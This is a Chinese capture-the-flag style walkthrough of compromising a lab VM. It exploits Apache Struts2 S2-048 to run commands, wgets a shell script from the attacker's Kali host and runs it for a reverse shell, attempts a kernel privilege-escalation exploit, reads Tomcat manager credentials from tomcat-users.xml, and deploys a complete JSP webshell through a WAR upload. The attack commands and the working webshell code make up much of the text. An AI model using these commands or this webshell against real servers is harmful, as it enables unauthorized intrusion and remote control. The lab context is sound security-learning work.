文章目录
一、基础信息
Kali IP:192.168.56.101
靶机 IP:192.168.56.103
二、信息收集
nmap -sS -sV -p- -A 192.168.56.103
开放了8009,8080(http),34483(ssh)等端口
扫描一下tomcat目录没有发现可利用内容
这里其实有一个路径信息是在上一个靶机获取的,我把它分开来做了
http://192.168.56.103:8080/struts2_2.3.15.1-showcase/showcase.action
三、漏洞利用
得到中间件信息版本,搜索EXP利用
四、反弹shell
直接反弹shell没有成功,那么我们通过将命令写入文件,上传执行进行反弹
python exploit_S2-048.py http://192.168.56.103:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.101:8090/shell.sh -O /tmp/shell.sh"
python exploit_S2-048.py http://192.168.56.103:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/shell.sh"
python exploit_S2-048.py http://192.168.56.103:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell.sh"
五、提权
内核提权
Uname -a
Cat /etc/*release*
searchsploit Ubuntu 16.04
找到了可利用的本地权限提升方式
gcc 44298.c -o exp
wget http://192.168.56.101:8090/exp
chmod +x exp
./exp
但是我这里提示glibc版本较低,无法运行成功,但是看其他wp都是可以的,这里不深究了。
六、思路拓展
通过查看sudo提权和suid位提权没有发现可利用的方式
但是在home目录下发现了tomcat相关信息
Tomcat将用户和密码存储在名为“tomcat-users.xml”的文件中:
cd /usr/local/tomcat/
cd conf
cat tomcat-users.xml
username="Lady3Jane" password=">!Xx3JanexX!<"
html解码:>!Xx3JanexX!<
获得用户名密码:
Lady3Jane / >!Xx3JanexX!<
访问8080页面登陆tomcat后台
http://192.168.56.103:8080/manager/html
这里思路很明确了,就是上传war包获取权限
生成jsp木马
# jsp木马,连接密码为cmd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
将jsp打包为zip,然后将zip后缀修改为war进行上传,也可以上传大马
http://192.168.56.103:8080/shell/shell.jsp
上传成功后蚁剑连接
反弹shell到kali即可
但是也是低权限用户,提权方式参考上文或者其他WP